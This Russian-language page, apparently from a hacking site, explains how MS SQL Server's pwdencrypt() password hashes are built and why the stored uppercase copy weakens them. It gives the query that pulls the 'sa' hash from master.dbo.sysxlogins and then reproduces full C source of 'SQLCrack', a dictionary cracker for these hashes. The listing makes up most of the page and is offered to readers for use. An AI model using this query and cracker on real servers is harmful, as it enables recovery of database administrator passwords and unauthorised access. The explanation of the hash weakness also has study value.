| 
 
.::Главная::. Гостевая Hack $oft Video vzlom Статьи Разное Hack Магазин .::Написать::.

.::Пароли SQL-сервера::.


.::Пароли SQL-сервера::.


SQL сервер использует недокументированную функцию pwdencrypt() для создания хешей пользовательских паролей, которые затем хранятся в главной базе. Иными словами - пароли криптуются и хранятся в зашифрованном виде. Получить их можно простым запросом, так как они хранятся в обычной базе данных:

select password from master.dbo.sysxlogins where name='sa'

Хеш пароля выглядит примерно так:

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186B

FAE06EB6B327EFA5449E6F649BA954AFF4057056D9B

Выглядит это надо сказать страшно… Давай-ка разберемся, что влияет на его формирование:

Время

Попробуем к примеру закриптовать пароль 'foo'. Делается это командой:

select pwdencrypt('foo')

Получаем:

0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1

DC9A7EAB644BD218969D09FFB97F5035CF7142521576

Ну а если попробуем через пару секунд еще раз, то получим:

0x0100D741861463DFFF7B5282BF4E5925057249C61A696ACB92

F532819DC22ED6BE374591FAAF6C38A2EADAA57FDF

Легко заметить, что мы получаем различные хеши, что означает, что хеш зависит от времени. Таким образом два или боле пользователей могут иметь иметь одинаковые пароли, но при этом хеши паролей будут различны.

Регистр

Теперь давай попробуем зашифровать 'AAAAAA':

select pwdencrypt('AAAAAA')

Получаем:

0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F

819B43174C59CC918D34B6A12C9CC9EF99C4769F819B

Если повнимательней вглядеться в полученный хеш, то его можно условно разделить на четыре части:

0x0100

84449305

43174C59CC918D34B6A12C9CC9EF99

C4769F819B43174C59CC918D34B6A12C9CC9EF99C4769F819B

Причем третья и четвертая части у нас абсолютно тождественны. Это связанно с тем, что по непонятным причинам пароль сохраняется дважды: в первый раз "как есть" (т.е. с учетом регистра), а второй раз - в верхнем регистре. Так как в нашем примере исходный пароль весь состоял из букв в верхнем регистре, то в результате "двойного сохранения", мы получили абсолютно идентичные части хеша. Гипотетически это значительно сокращает время брутфорса, так как надо перебирать только буквы верхнего регистра.

Salt

Но влияет ли время на хеш непосредственно? Ответ - нет. Функция Time() создает лишь исходную точку для функции srand(), которая генерирует два случайных числа. Эти числа объединяются (с большой долей вероятности можно также предположить, что эти числа также приводятся к "сокращенному варианту") и получается salt, который в дальнейшем используется при "производстве" хеша.

Криптование пароля

Пароль преобразуется в Unicode и к нему добавляется salt. Потом все это проходит через функции криптования в advapi32.dll - в результате мы получает "третью" часть хеша (как мы рассматривали в пункте про влияние регистра). Потом пароль преобразуется в верхний регистр и указанные манипуляции повторяются - получаем "четвертую" часть хеша. Затем производится "сборка" окончательного вариант хеша, который и будет хранится в базе:

Берется неизменный заголовок:

0x0100

Затем тот salt, который использовался при криптовании пароля:

84449305

Третья и четвертая части - непосредственно сам пароль (в неизменном виде и в верхнем регистре соответственно):

43174C59CC918D34B6A12C9CC9EF99C4769F819B

43174C59CC918D34B6A12C9CC9EF99C4769F819B

Все! Получается тот самый, некрасивый и страшный хеш:

0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B431

74C59CC918D34B6A12C9CC9EF99C4769F819B

Как происходит идентификация

Пользователь вводит пару логин/пароль. Сначала происходит проверка на наличие пользователя с данным логином. Если проверка успешна и пользователь существует, то из соответствующего хеша извлекается salt (вторая часть хеша) и введенный пользователем пароль криптуется с использованием этого salt. Затем полученный результат сравнивается с имеющимся хешем в базе. В случае совпадения пользователь получает доступ, в противном - идет вспоминать пароль…

Слабые места

Не совсем понятно, почему пароль сохраняется в хеше дважды - ведь имея хешированный пароль в верхнем регистре, атакующий имеет возможность существенно сократить объем работы: в начале "расколоть" пароль в верхнем регистре и узнать какие символы используются, а затем просто провести проверку всех комбинаций этих символов в верхнем и нижнем регистрах. Таким образом объем работы по данному алгоритму в десятки, сотни и даже тысячи раз (зависит от длины пароля) меньше, чем при попытке взломать чувствительный к регистру пароль как говорится в "лоб".

Для практической реализации данной идеи была написана консольная программа, листинг которой я тебе и предлагаю (очень полезно было бы разобрать листинг и понять как действует программа - впрочем это, как обычно, на твое усмотрение):

#include <stdio.h>

#include <windows.h>

#include <wincrypt.h>

FILE *fd=NULL;

char *lerr = "\nLength Error!\n";

int wd=0;

int OpenPasswordFile(char *pwdfile);

int CrackPassword(char *hash);

int main(int argc, char *argv[])

{

int err = 0;

if(argc !=3)

{

printf("\n\n*** SQLCrack *** \n\n");

printf("C:\\>%s hash passwd-file\n\n",argv[0]);

printf("David Litchfield (david@ngssoftware.com)\n");

printf("24th June 2002\n");

return 0;

}

err = OpenPasswordFile(argv[2]);

if(err !=0)

{

return printf("\nThere was an error opening the password file %s\n",argv[2]);

}

err = CrackPassword(argv[1]);

fclose(fd);

printf("\n\n%d",wd);

return 0;

}

int OpenPasswordFile(char *pwdfile)

{

fd = fopen(pwdfile,"r");

if(fd)

return 0;

else

return 1;

}

int CrackPassword(char *hash)

{

char phash[100]="";

char pheader[8]="";

char pkey[12]="";

char pnorm[44]="";

char pucase[44]="";

char pucfirst[8]="";

char wttf[44]="";

char uwttf[100]="";

char *wp=NULL;

char *ptr=NULL;

int cnt = 0;

int count = 0;

unsigned int key=0;

unsigned int t=0;

unsigned int address = 0;

unsigned char cmp=0;

unsigned char x=0;

HCRYPTPROV hProv=0;

HCRYPTHASH hHash;

DWORD hl=100;

unsigned char szhash[100]="";

int len=0;

if(strlen(hash) !=94)

{

return printf("\nThe password hash is too short!\n");

}

if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))

{

hash = hash + 2;

strncpy(pheader,hash,4);

printf("\nHeader\t\t: %s",pheader);

if(strlen(pheader)!=4)

return printf("%s",lerr);

hash = hash + 4;

strncpy(pkey,hash,8);

printf("\nRand key\t: %s",pkey);

if(strlen(pkey)!=8)

return printf("%s",lerr);

hash = hash + 8;

strncpy(pnorm,hash,40);

printf("\nNormal\t\t: %s",pnorm);

if(strlen(pnorm)!=40)

return printf("%s",lerr);

hash = hash + 40;

strncpy(pucase,hash,40);

printf("\nUpper Case\t: %s",pucase);

if(strlen(pucase)!=40)

return printf("%s",lerr);

strncpy(pucfirst,pucase,2);

sscanf(pucfirst,"%x",&cmp);

}

else

{

return printf("The password hash has an invalid format!\n");

}

printf("\n\n Trying...\n");

if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))

{

if(GetLastError()==NTE_BAD_KEYSET)

{

// KeySet does not exist. So create a new keyset

if(!CryptAcquireContext(&hProv,

NULL,

NULL,

PROV_RSA_FULL,

CRYPT_NEWKEYSET ))

{

printf("FAILLLLLLL!!!");

return FALSE;

}

}

}

while(1)

{

// get a word to try from the file

ZeroMemory(wttf,44);

if(!fgets(wttf,40,fd))

return printf("\nEnd of password file. Didn't find the password.\n");

wd++;

len = strlen(wttf);

wttf[len-1]=0x00;

ZeroMemory(uwttf,84);

// Convert the word to UNICODE

while(count < len)

{

uwttf[cnt]=wttf[count];

cnt++;

uwttf[cnt]=0x00;

count++;

cnt++;

}

len --;

wp = &uwttf;

sscanf(pkey,"%x",&key);

cnt = cnt - 2;

// Append the random stuff to the end of

// the uppercase unicode password

t = key >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

t = key << 8;

t = t >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

t = key << 16;

t = t >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

t = key << 24;

t = t >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

// Create the hash

if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))

{

printf("Error %x during CryptCreatHash!\n", GetLastError());

return 0;

}

if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))

{

printf("Error %x during CryptHashData!\n", GetLastError());

return FALSE;

}

CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);

// Test the first byte only. Much quicker.

if(szhash[0] == cmp)

{

// If first byte matches try the rest

ptr = pucase;

cnt = 1;

while(cnt < 20)

{

ptr = ptr + 2;

strncpy(pucfirst,ptr,2);

sscanf(pucfirst,"%x",&cmp);

if(szhash[cnt]==cmp)

cnt ++;

else

{

break;

}

}

if(cnt == 20)

{

// We've found the password

printf("\nA MATCH!!! Password is %s\n",wttf);

return 0;

}

}

count = 0;

cnt=0;

}

return 0;

}

Существует также неконсольная версия данного крякера. Ее создатели утверждают, что она работает быстрее…но она платная, а ты ведь платить не любишь…





Дизайн и разработка сайта  Project.Lepest "Проект Amega"

© 2000-2005 Все права защищены и охраняются законом.

Сайт управляется системой uCoz